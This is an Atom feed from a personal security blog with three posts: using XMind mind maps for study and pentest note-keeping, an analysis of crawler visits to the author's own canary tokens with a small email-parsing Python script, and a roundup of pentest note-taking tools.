<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2025-03-26T03:48:27+00:00</updated><id>/feed.xml</id><title type="html">vext.info</title><subtitle>... standing on the shoulders of giants...</subtitle><author><name>vext</name></author><entry><title type="html">The Ways I Use Mind Maps</title><link href="/2021/04/07/the-ways-i-use-mind-maps.html" rel="alternate" type="text/html" title="The Ways I Use Mind Maps" /><published>2021-04-07T21:42:47+00:00</published><updated>2021-04-07T21:42:47+00:00</updated><id>/2021/04/07/the-ways-i-use-mind-maps</id><content type="html" xml:base="/2021/04/07/the-ways-i-use-mind-maps.html"><![CDATA[<p>Not so long ago, a friend and colleague of mine inspired me to start using mind maps. Since then, I’ve incorporated mind maps into various workflows wherever I can, and I thought it would be interesting to show some examples.</p>

<p>My tool of choice is <a href="https://www.xmind.net">XMind</a>, but there are <a href="https://alternativeto.net/software/xmind/">numerous other</a> popular mind mapping tools available. I went with XMind because of its primarily-offline design (though they do have a web app option); the fact that they offer a free trial version (though they try their best to hide that fact); and that the application is designed to be primarily used via keyboard, which minimizes the amount of mouse clicking that needs to be done to draw your mind map.</p>

<h1 id="what-is-a-mind-map">What is a Mind Map?</h1>

<p>In short, mind maps are visual representations of the hierarchical relationship of various items. The items could be abstract ideas or tangible objects, or a mix of the two. The mind map is a way to lay out your understanding of these relationships in a visual format that serves a number of purposes:</p>
<ul>
  <li>Taking notes on a new subject or a brainstorming session</li>
  <li>Studying a complex topic with multiple levels of nested relationships</li>
  <li>High-level documentation (think of a subject outline)</li>
  <li>Identifying gaps in knowledge - and then filling them</li>
  <li>Maybe even resume creation/improvement</li>
</ul>

<p>XMind in particular comes with a bunch of different layout options that make it useful for free form mind mapping/brainstorming, or for more traditional, established diagrams like organization charts, data flows, and logic charts.</p>

<h2 id="babys-first-mind-map">Baby’s first mind map</h2>
<p>I’m describing the uses of mind maps, but in case you haven’t seen one, here’s a basic example:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_18-42-13.png" alt="Hello, mind map" /></p>

<p>This is a simple layout comprised of a main anchor subject, three main topics, and nested sub topics beneath each.</p>

<p>A good mind map program will also support various styles so the importance or status of an element can be indicated at a glance:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_18-58-27.png" alt="Colorized mind map" /></p>

<p>In this example, bright yellow might be important, darker yellow less important, and strikethrough something to disregard entirely. Red and green could be arbitrary statuses like good and bad, or vulnerable and secure.</p>

<p>From an ease-of-use standpoint, all of this (except some of the colors) was generated using only the keyboard. Keys like Tab, Enter, and Space are used to create the various nested objects, and the application handles arranging them in a way that looks presentable. This frees the user up to focus on the content, rather than the presentation.</p>

<p>There are a few other features that require some mouse clicking, like adding additional non-hierarchical “relationship” links:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_19-03-12.png" alt="Mind map with additional relationships" /></p>

<p>Depending on if you use the free or paid version, some settings can be configured to remember or shortcut your preferred styles, or they might be fully manual.</p>

<p>Within XMind, you can switch to the “Outliner” view after creating a mind map. This might be familiar from school, or using Microsoft Word:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_19-05-23.png" alt="Outliner view" /></p>

<p>It’s just a nested list of items. While I’m sure there is some limit, you can go pretty absurdly deep, so running out of room for nested items is unlikely.</p>

<p>XMind has a gallery of shared example mind maps on <a href="https://www.xmind.net/share/">their website</a>.</p>

<p>Now that I’ve illustrated what a mind map looks like, here are some examples of how I find them useful.</p>

<h1 id="uses">Uses</h1>

<h2 id="taking-notes">Taking notes</h2>

<p>Whenever I’m taking notes on a new subject, I have gotten into the habit of creating a mind map. A great example of this is when discussing the scope of a security assessment (whether it be a network penetration test, code review, web application test, etc.). One of the early stages of any such engagement is to discuss with the subject matter experts how their system(s) work and how the data flows within it. As the subject matter experts are describing or demonstrating the environment to me, I’ll be capturing my understanding in a mind map.</p>

<p>This serves a couple immediate purposes:</p>

<ol>
  <li>It captures the information for my notes. I can either drop the outline structure into a tool like OneNote or Evernote if I need to elaborate on it or add multimedia, and/or I can just keep it as is in mind map form.</li>
  <li>It serves a similar purpose to writing things down. I’m rather slow at traditional pen-and-paper writing, but my typing speed is solid. There is some evidence that writing something down, or typing it out (rather than copy pasting) helps to solidify memory (the <a href="https://en.wikipedia.org/wiki/Generation_effect">generation effect</a>). Anecdotally, I can attest that the simple act of typing up what I’m hearing seems to help increase the likelihood that I will be able to recall that information later. The visual presentation and interactive creation of the mind map format also <a href="https://www.mindmeister.com/blog/mind-mapping-benefits-who-needs-mind-maps/">seems to help reinforce memory</a>.</li>
</ol>

<h2 id="studying">Studying</h2>

<p>While there is some overlap with #1 above, my “study mode” tends to be quite a bit slower and more deliberate than taking notes in a brief meeting or scoping discussion. This might be a new technical subject that I’ve never learned before, or an old subject I’m brushing up on. It might be something for work, or for a <a href="https://www.pathofexile.com/passive-skill-tree">really complicated form of entertainment</a>.</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_21-20-29.png" alt="I can't quit you" /></p>

<p>I sometimes find that, as I’m taking down what I consider the key elements of a new idea, I later have to rearrange the nodes. This might be due to the way the information is initially presented, or due to some quirk of my own mind in how it “wants to” map the information. Fortunately, a good mind map program makes it easy to click and drag or cut and paste items from one location on the map to another:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_19-31-54.png" alt="Rearranged mind map" /></p>

<p>I also capture notes on introductions to topics, such as when I was watching the <a href="https://www.pluralsight.com/paths/fundamentals-of-devsecops">Fundamentals of DevSecOps</a> lectures on Pluralsight:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-32-38.png" alt="DevSecOps mind map" /></p>

<h1 id="documentation">Documentation</h1>

<p>Whether I’m playing with a <a href="https://www.hackthebox.eu">capture the flag</a> or performing a penetration test, keeping track of what I’ve done - and not forgetting to revisit things that I’m setting aside for later - is crucial. Mind maps are a great way to keep track of a testing environment at a high level, and to prioritize - or mark as complete - certain aspects of your assessment.</p>

<p>As an example, I’ll share the current state of my mind map working through an older Hackthebox machine, Canape (Note: If you haven’t tried Canape yourself, this will contain some spoilers. I’m only part of the way through the box at time of writing though, so there is more yet to discover):</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_19-38-39.png" alt="Canape mind map" /></p>

<p>This map grew as my understanding of the target machine did, starting with the discovery of open ports on the box, mapping out the initial web directories that were present on the main page, finding a /.git directory, and then describing the functionality disclosed by the source code in the /.git directory.</p>

<p>Once I (finally) managed to get OS command execution, I marked that sucker red and saved my exact syntax for further reference as I wrote up a python script to automate the attack.</p>

<p>You might notice on the left side of the map there are two key sections: “Things to check”, and “Checked.” As I map out the application and discover more and more of its contents - or, in this case, as I enumerate services, settings, and various internal aspects of the machine via command injection - I jot them down and mark them as priority (yellow) to review later. This way I can continue on my current train of thought without derailing it, but I can also quickly capture things that are worth further investigation later. Once my current mental thread is completed, I go through that “Things to check” list and exhaust possibilities, striking them through and moving them under the “Checked” node. This helps me keep track without losing the documentation I’ve already established. I can use the strikethrough information later if I need to reference things that I checked but which didn’t pan out during the test. If a client asks me to enumerate the various things that I tried that weren’t fruitful, I already have it in outline form.</p>

<p>Oh, and with XMind, there is functionality built in for flow charts, org charts, timelines, and “fishbone charts:”</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-38-50.png" alt="Fishbone mind map" /></p>

<p>There is even enough flexibility in the application to create rough data flow diagrams. This isn’t going to compete with Visio any time soon, but it works for a quick-and-dirty model:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-40-50.png" alt="Data flow diagram" /></p>

<h2 id="identifying-knowledge-gaps">Identifying knowledge gaps</h2>

<p>Once the initial information is mapped out, I find that mind maps are great for highlighting areas where additional knowledge is needed. This can be done through color coding, arrangement, with a dedicated “to do” section, or a combination of these. In particular, I’ve found that once I have really poured my understanding into a mind map, if there are sections that are vastly outsized compared to others, it either indicates:</p>

<ol>
  <li>That the smaller subsection is very simple and doesn’t need more detail, or;</li>
  <li>That my understanding is lacking in that subsection.</li>
</ol>

<p>Here’s a use case example. When looking at job descriptions for a potential new opportunity, I like to go through the description, create a mind map from the description’s key elements, and then color-code each item based on my own self-evaluated confidence in that space:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-43-36.png" alt="Color legend" /></p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-44-44.png" alt="Job description mapping" /></p>

<p>That image is deliberately zoomed out so as not to disclose which jobs I may or may not have been recently applying to.</p>

<p>As you can see, there is a lot of dark green on there, so that’s a good start. The lighter green might need some work, but it’s the yellow and red where I have significant gaps, and should focus my attentions to improve:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-46-57.png" alt="Job description mapping with child nodes" /></p>

<p>I did some fleshing out, a little study, and added more to the map. Not bad. Some notes to self, some additional areas that I need to study… but then one of those items turned into a rabbit hole all by itself:</p>

<p><img src="../../../assets/images/Screenshot_2021-04-07_20-48-07.png" alt="Job description mapping with a rabbit hole" /></p>

<p>Does jotting all that down in a mind map make me an expert in the subject? Not by a long shot. But it gives me a mental framework that I can start associating my experiences with, and it gives me reference material I can call on in the future if and when I start focusing on such tasks or communicating in that space. I am much more likely to be able to speak with some cursory intelligence in an interview on a subject I’ve studied and mind mapped, than one I only read in a job description. It also revealed to me just how broad that one sub-item was, when I only had a very informal understanding of it to begin with.</p>

<h2 id="resume-building">Resume building?</h2>

<p>This last use is a new idea and I haven’t really put it to the test yet. It could end up as a case of “square peg, round hole,” stemming from my current infatuation with mind maps. I wonder, though, if there might be a use in mind mapping when building/updating/improving a resume/CV. The nascent idea goes like this:</p>

<h3 id="mind-map-first-approach">Mind map first approach</h3>
<p>If you’re making a resume from scratch (either because you’re new to building one, or just think it’s time to revamp and start fresh), jot down the key ideas you want to make sure are represented. What are the first things you want a potential employer to think of when they look at your resume for <a href="https://www.theladders.com/static/images/basicSite/pdfs/TheLadders-EyeTracking-StudyC2.pdf">7.4 seconds</a>? Those are your main topics. Now, what are the key details you need to represent for each of those main topics? Those are your subtopics. Map it all out, <strong>then</strong> start putting the content into your resume template of choice in a word processor.</p>

<h3 id="mind-map-second-approach">Mind map second approach</h3>
<p>What if you already have a pretty solid resume, and it just needs some improvement? This can be trickier, but try to put yourself in the mind of a recruiter. Open up your resume, and capture the first thing that stands out to you in a mind map. What’s the second thing? Into the map it goes. Third thing? Map it. Now, were those three eye-catching elements what you <strong>want</strong> a recruiter or employer to see first? If not, you might at least have a layout problem, and you might need to rework your resume content. This evaluation can probably go a level or two deeper. If you find that your resume doesn’t even paint the picture that you intend to yourself, chances are it needs some work. I would venture that this exercise is even more valuable with a partner doing the review for you - a friend or colleague who will humor you by viewing your resume like you were a potential candidate, and mind mapping for you what stood out to them. That mind map can be your input for areas where you might need to rearrange or rephrase the content of your resume.</p>

<p>With either approach, I think there is potential here for a worthwhile exercise in tightening up a resume or building a whole new one.</p>

<h1 id="another-useful-tool">Another useful tool</h1>

<p>All said, I’m loving the use of mind maps, and XMind in particular. I’ve known about this concept for years but never got around to really giving it a try until recently, which I have to thank my friend for inspiring. I hope others find this write up useful, and that it might inspire some of you to take advantage of a new tool. If you have some novel uses of mind maps, <a href="https://twitter.com/0xvext">send them my way</a>!</p>]]></content><author><name>vext</name></author><category term="mindmap" /><category term="xmind" /><category term="study" /><category term="notes" /><category term="documentation" /><summary type="html"><![CDATA[Not so long ago, a friend and colleague of mine inspired me to start using mind maps. Since then, I’ve incorporated mind maps into various workflows wherever I can, and I thought it would be interesting to show some examples.]]></summary></entry><entry><title type="html">Intel Gathering with Canary Tokens</title><link href="/2019/08/25/intel-gathering-with-canary-tokens.html" rel="alternate" type="text/html" title="Intel Gathering with Canary Tokens" /><published>2019-08-25T00:30:03+00:00</published><updated>2019-08-25T00:30:03+00:00</updated><id>/2019/08/25/intel-gathering-with-canary-tokens</id><content type="html" xml:base="/2019/08/25/intel-gathering-with-canary-tokens.html"><![CDATA[<h1 id="reports-of-my-demise">Reports of My Demise…</h1>

<p>No, I’m not dead, but it turns out that changing jobs and studying for another GIAC certification and “real life” all conspire to bump blogging into the background, for me. During the recent downtime, I’ve continued slowly gathering data from the hidden href canary token that loads in this blog’s page source (described <a href="https://vext.info/2019/03/15/ssltls-fun-with-canary-tokens.html">here</a>).</p>

<p>I recently passed the 100 pageloads milestone so I figured it was time for everybody’s favorite pass time: data analysis.</p>

<p>That’s not just me, right?</p>

<h1 id="overview">Overview</h1>
<p>Each time the hidden href gets loaded, I receive a canary token notification like this one:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>One of your canarydrops was triggered.
Channel: HTTP
Time   : 2019-03-16 00:23:52
Memo   : vext.info hidden href
Source IP: [REDACTED]
User-agent: Barkrowler/0.9 (+http://www.exensa.com/crawl)
...
</code></pre></div></div>

<p>I have played with a few canary tokens but since my prior post (March of 2019), I have only had one that is out in the wild in active content: the previously mentioned hidden href token. I assumed that all the hits that have come in since March were for that remaining token… but as we will see in the analysis, that assumption was incorrect.</p>

<p>I never got around to setting up a proper webhook receiver for the tokens, so I’ve just been slowly collecting them via emails that land in a mail folder I set up. That necessitated a few steps to get the data in a parsable format:</p>

<ol>
  <li>Download emails as .eml files</li>
  <li>Write a Python 3 script to parse each .eml file and pull out the interesting data</li>
  <li>Analyze the data with Excel</li>
</ol>

<p>Step one should be self explanatory (if not, <a href="https://lmgtfy.com/?q=how+to+set+up+an+imap+account+in+thunderbird">let me google that for you</a>).</p>

<h1 id="the-code">The Code</h1>
<p>As <a href="https://www.ericconrad.com/">Eric Conrad</a> is fond of saying: if I typed it twice I should have scripted it once, so step two resulted in the below quick and dirty script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/python3

import os
import re

# Create a list to store results of parsing emails
scanlist = []

# Loop through all .eml files in directory and store the interesting lines into scanlist
for file in os.listdir("/path/to/your/emails/"):
    if file.endswith(".eml"):
        f = open(file)
        scanlist.append(re.findall(r"Time   : .*|Memo   : .*|Source IP: .*|User-agent: .*", f.read()))

# Create an output file
o = open("/path/to/your/output.csv", "w")

# Write headers to output file (CSV)
o.write("Time" + "," + "Memo" + "," + "Source IP" + "," + "User-Agent" + "\n")

# Loop through scanlist and drop values into CSV format
for list in scanlist:
    for element in list:
        if re.findall("Time   : .*", element):
            o.write(re.findall("Time   : (.*)", element)[0] + ",")
        elif re.findall("Memo   : .*", element):
            o.write(re.findall("Memo   : (.*)", element)[0] + ",")
        elif re.findall("Source IP: .*", element):
            o.write(re.findall("Source IP: (.*)", element)[0] + ",")
        else:
            o.write(re.findall("User-agent: (.*)", element)[0] + "\n")
</code></pre></div></div>

<p>Not efficient, but it got the job mostly done. I had to manually clean up some user-agent strings that contained commas (if you insert commas in your user-agent strings, you are an evil monster). Since there were only a few I didn’t bother updating the script to handle these edge cases.</p>

<h1 id="analysis">Analysis</h1>

<p>As soon as I threw together a pivot table for the output and started looking from different perspectives, I learned something surprising:</p>

<p><img src="../../../assets/images/2019.08.25 - 01.png" alt="Categories" /></p>

<p>There are more instances of the retired “vext.info” token than the active “vext.info hidden ref” token. This fact surprised me, since I removed the reference to the “vext.info” token from the page source back in March when I made the last post on this subject. I can’t know exactly why the token is still being crawled, but a few possible reasons come to mind:</p>

<ol>
  <li>Web crawlers re-visit links that they visited in the past, regardless of whether the links exist in any current content</li>
  <li>Web crawlers cache versions of content (a la <a href="https://www.archive.org">archive.org</a>) and periodically visit links present in older cached content</li>
  <li>Web crawlers scour prior versions/commit histories of Github content and visit links found there.</li>
</ol>

<p>These are not mutually exclusive, and there might be other reasons.</p>

<p>With this discovery, I’ll be splitting my analysis up into the analysis of the hidden href token visits (the smaller data set) and the retired vext.info token visits.</p>

<h2 id="hidden-href-token">Hidden href Token</h2>

<p>In total, there were 39 visits to the hidden href token over the course of about five months. Among these visits, there were 14 unique user-agent strings:</p>

<ul>
  <li>Barkrowler/0.9 (+http://www.exensa.com/crawl)</li>
  <li>facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)</li>
  <li>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0;)</li>
  <li>Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)</li>
  <li>Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot,  help@moz.com)</li>
  <li>Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)</li>
  <li>Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)</li>
  <li>Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w</li>
  <li>Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)</li>
  <li>Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)</li>
  <li>Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)</li>
  <li>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/41.0.2228.0 Safari/537.36</li>
  <li>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,  like Gecko) Maxthon/4.4.8.2000 Chrome/30.0.1599.101 Safari/537.36</li>
  <li>Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0</li>
</ul>

<p>Nine of these strings are “friendly” in that they identify the origin, while the other five do not. Among friendlies, we see various search engines and data analytics sources:</p>

<ul>
  <li>Exensa - Self-described as “…a very small French company specialized in large scale text data analysis..” that is creating a new search engine</li>
  <li>Facebook - We all know and (should) hate this big boy. Some additional thoughts on this below</li>
  <li>Bing - Aww, how cute. It thinks it’s a search engine!</li>
  <li>DotBot - An SEO company</li>
  <li>Mail.ru - This is fine</li>
  <li>MJ12bot - A business-focused data analytics service</li>
  <li>Qwantify - Another wannabe search engine. I didn’t realize how many of these there were these days</li>
  <li>SemrushBot - Another analytics company. This one has the dubious honor of being the first one that my ad blockers block at the domain level</li>
  <li>Googlebot - Because duh.</li>
</ul>

<p>I manually reviewed the pages provided by each user-agent string above. Some provide information on the purpose of the crawler, while others just load the main page of the company in question. Of the descriptions I read, the most interesting to me was the blurb provided by Facebook:
“Facebook allows its users to send links to interesting web content to other Facebook users. Part of how this works on the Facebook system involves the temporary display of certain images or details related to the web content, such as the title of the webpage or the embed tag of a video. Our system retrieves this information only after a user provides us with a link. You may have found this page because a Facebook user sent a link from your website to other Facebook users. If you have any questions or concerns about any links or content sent by one of our users, please contact us at legal@facebook.com.”</p>

<p>This is a great example of how Facebook does a lot more than they explicitly say they do. Using loose language like “such as…” in their description, they give a technically-correct description of some of the functions they perform while ignoring the fact that they do a lot more behind the scenes. It’s likely true that the reason Facebook crawled the page was that a user linked to a post that I made, I can totally buy that. However, the canary token that was triggered by Facebook was an href element with the “hidden” property set. So while Facebook might crawl “… the title of the webpage or the embed tag of a video…” they also obviously crawl other elements such as hidden href tags. There isn’t anything particularly sinister in this example, but it’s another drop in the bucket of how Facebook likes to conduct business, and it should be informative for those who read the terms of use on Facebook to get an idea of what they mean when they describe their privacy and data gathering approaches.</p>

<p>Back to the data, the following user-agents showed up multiple times:</p>
<ul>
  <li>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0;):	5</li>
  <li>Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm):	6</li>
  <li>Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot,  help@moz.com):	2</li>
  <li>Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots):	6</li>
  <li>Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/):	3</li>
  <li>Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html):	5</li>
  <li>Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html):	5</li>
</ul>

<p>The following user-agents were outliers that appeared only once each:</p>
<ul>
  <li>Barkrowler/0.9 (+http://www.exensa.com/crawl)</li>
  <li>facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)</li>
  <li>Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w</li>
  <li>Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)</li>
  <li>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/41.0.2228.0 Safari/537.36</li>
  <li>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,  like Gecko) Maxthon/4.4.8.2000 Chrome/30.0.1599.101 Safari/537.36</li>
  <li>Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0</li>
</ul>

<p>I performed manual lookups of the IP addresses associated with each of the five non-friendly user-agent strings, and they ended up being:</p>

<ul>
  <li>Two instances of Iliad Entreprises, self-described as a French hosting and services provider</li>
  <li>An Amazon EC2 instance</li>
  <li>Nexeon Technologies, self-described as a US-based hosting and SaaS provider</li>
  <li>LeaseWeb Netherlands, a Netherlands-based hosting provider</li>
</ul>

<p>There isn’t any real way to identify who was running the crawlers hosted out of these services.</p>

<h2 id="retired-vextinfo-token">Retired vext.info Token</h2>

<p>In total, there were 63 visits to the retired canary token over the same five months. Among these visits, there were 8 unique user-agent strings:</p>

<ul>
  <li>Googlebot-Image/1.0</li>
  <li>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)</li>
  <li>Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)</li>
  <li>Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)</li>
  <li>Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)</li>
  <li>Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)</li>
  <li>Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)</li>
  <li>Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)</li>
</ul>

<p>All of these strings are “friendly” in that they identify the origin. We again see various search engines and data analytics sources, with some overlap from the hidden href token, but a couple unique visitors:</p>

<ul>
  <li>AhrefsBot - Another web crawler for a data analytics company trying to make a buck</li>
  <li>Yandex - This is fine.</li>
</ul>

<p>The following user-agents showed up multiple times:</p>
<ul>
  <li>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/):	6</li>
  <li>Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm):	10</li>
  <li>Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/):	2</li>
  <li>Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots):	37</li>
  <li>Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html):	5</li>
</ul>

<p>The following user-agents were outliers that appeared only once each:</p>
<ul>
  <li>Googlebot-Image/1.0</li>
  <li>Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)</li>
  <li>Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)</li>
</ul>

<p>Again, I want to emphasize that all of these crawlers and their numerous visits were to a link that no longer appears on any active web content on the site itself. Not necessarily sinister in any way, but I think that most folks won’t intuitively consider this kind of archived/deep crawling activity, so I think it’s a valuable lesson to learn. This is an example of the idea that nothing is ever really deleted from the internet.</p>

<h2 id="timeline-analysis-across-both-tokens">Timeline Analysis across Both Tokens</h2>

<p>One final analysis I performed was on the merged data set of both tokens to see how often various crawlers are pulling content. I found the following general patterns:</p>

<ul>
  <li>AhrefsBot has been pulling content roughly once per month</li>
  <li>Bing pulled content 16 times, with 13 of them falling in the month of April</li>
  <li>Mail.ru pulled content 6 times, all of them in April</li>
  <li>Yandex had the most pulls (37), with 8 in March, 22 in April, and 7 in May</li>
  <li>Google pulled content 9 times in May (out of a total 10 times)</li>
</ul>

<h1 id="lessons-learned">Lessons learned:</h1>

<ol>
  <li>Some crawlers continue to visit URLs that are no longer present in active content</li>
  <li>Putting commas in user-agent strings is evil</li>
  <li>In addition to their other value, canary tokens are good for gathering a list of user-agent strings to use for scripts/bots.</li>
</ol>]]></content><author><name>vext</name></author><summary type="html"><![CDATA[Reports of My Demise…]]></summary></entry><entry><title type="html">DMs to myself 4</title><link href="/2019/04/20/dms-to-myself-4.html" rel="alternate" type="text/html" title="DMs to myself 4" /><published>2019-04-20T23:57:25+00:00</published><updated>2019-04-20T23:57:25+00:00</updated><id>/2019/04/20/dms-to-myself-4</id><content type="html" xml:base="/2019/04/20/dms-to-myself-4.html"><![CDATA[<p>Welcome to “DMs to myself,” where I will be going through messages from Twitter that I sent to myself.  I do this in an effort to keep track of interesting or valuable pieces of information that flow through the ether that is Twitter’s timeline. Think of this as an “in case you missed it,” but really directed at myself.</p>

<p>These posts will be a <del>hopefully regular</del> <del>probably sporadic</del> review of interesting and informative tweets that have landed under my scope but which, as is often the case, I didn’t have time to delve into at the time. I will take a look at a hand full of tweets and related links and provide my own comments or observations.</p>

<p>Note: Some of these are quite old and even out of date. I’ve been building up my pile of saved tweets for a while now, and these posts start with the oldest based on when I saw them.</p>

<h1 id="tweet-15---pentest-note-taking">Tweet 1/5 - Pentest Note Taking</h1>
<p><a href="https://twitter.com/m3g9tr0n/status/911957911961825281">@m3g9tr0n</a> writes:
<img src="../../../assets/images/dms-tm-04-01.png" alt="@m3g9tr0n" /></p>

<p>“Pentesters: What do you use for taking notes, PoCs during your assessments? #pentesting #reporting”</p>

<p>This tweet alone is worth a blog post. There were a ton of replies with what folks use for their note taking such as:</p>

<ul>
  <li><a href="https://www.onenote.com">OneNote</a> (x4) - The Microsoft classic. This tool has grown and changed over time. The biggest con is the price tag, if you don’t already have Office. If you do, it’s already included, and you could do worse than this. I’ve heard it said that all OneNote books are encrypted at rest on MS servers, but I haven’t researched this, and my guess is they aren’t zero-knowledge encrypted. Good for general notes and keeping non-sensitive materials, but if you’re conducting a pentest there is some risk/exposure to storing the details in this platform.</li>
  <li><a href="https://www.omnigroup.com/omnifocus">OmniFocus</a> - A Mac-specific solution that I haven’t used, this tool is task-focused and designed around workflows that follow a task or series of tasks.</li>
  <li><a href="https://www.giuspen.com/cherrytree/">CherryTree</a> (x3) - Another tool I hadn’t heard of. This one sounds interesting. It looks like an offline, free note-taking application that is very similar in design to Evernote. As of this writing it still seems to be actively developed.</li>
  <li><a href="http://keepnote.org/">Keepnote</a> (x5) - Another popular tool that appears very similar in its design to Evernote. One of the immediately notable differences is that Keepnote does not limit note organization to two levels (notebooks + notes); rather, multiple folders can be nested sequentially.</li>
  <li><a href="https://typora.io/">Typora.io</a> - Still in beta, as of this writing, Typora is a lightweight markdown editor that seems to be designed around a streamlined interface with minimal clutter. It looks quite nice, though I don’t see many features that make it optimal for pentesting purposes, in my opinion.</li>
  <li><a href="https://evernote.com/">Evernote</a> (x2) - I’ve been a user of Evernote for years, and it’s a solid product, though it has plenty of quirks of its own. One of my favorite aspects about how Evernote runs their business is that they aren’t a data-mining company. Their revenue comes from subscribers paying for their product. They do have some encryption options for sensitive notes, but they are limited, and unfortunately don’t apply to images, so Evernote shares the same concerns re: sensitive data as OneNote. I use Evernote for web clippings and saving my notes/PoCs, but I don’t use it for client-specific data or sensitive details about a pentest. It also still doesn’t have Markdown support, as of this writing, which has made me consider abandoning the platform more than once.</li>
  <li>Pencil &amp; paper (x3) - The old classic, and often overlooked. Particularly for sensitive materials that need to be documented, a properly-secured notepad is hard to beat. You can’t remotely hack what isn’t online.</li>
  <li>Plain text editors (TextWrangler, Vim, Nano) - Also often overlooked. Sometimes you just need a quick and dirty digital notepad. Typing in markdown is a good habit for later export to other platforms that support it.</li>
  <li><a href="https://zim-wiki.org/">Zim</a> - I hadn’t heard of this before. It’s a neat concept: an offline wiki in a local, easy to use editor. I haven’t used it personally, but glancing through the screenshots I can see how this could fit into a pentest workflow.</li>
  <li><a href="https://www.sublimetext.com/">Sublime</a> - I like Sublime. I’ve used it before, and it has some really great features, particularly for programming uses. It is the closest to vi/vim features in a GUI-based editor that I’ve ever seen. Unfortunately, it has a simply absurd price tag ($80, at the time of writing), which puts it way out of sync with alternatives. The price tag might make sense for developers, but not for note takers. Another one that isn’t really ideal for pentest documentation, since it lacks some key features.</li>
  <li><a href="https://www.xmind.net/">XMind</a> - I’ve heard great things about XMind for years. Mind mapping is a great way to study, and I see how it could be really useful, particularly <em>during</em> a pentest, to keep track of things to try, ideas to pursue. The price tag has kept me away from it in the past, but I think I’m going to give it a try soon, particularly as they now have two different offerings. The newer XMind Zen supports Markdown editing, which is great. I have to look into the details of privacy/sensitivity for materials in this platform (e.g., auto sync of contents) before I take the plunge, but it’s on my list of products to try.</li>
</ul>

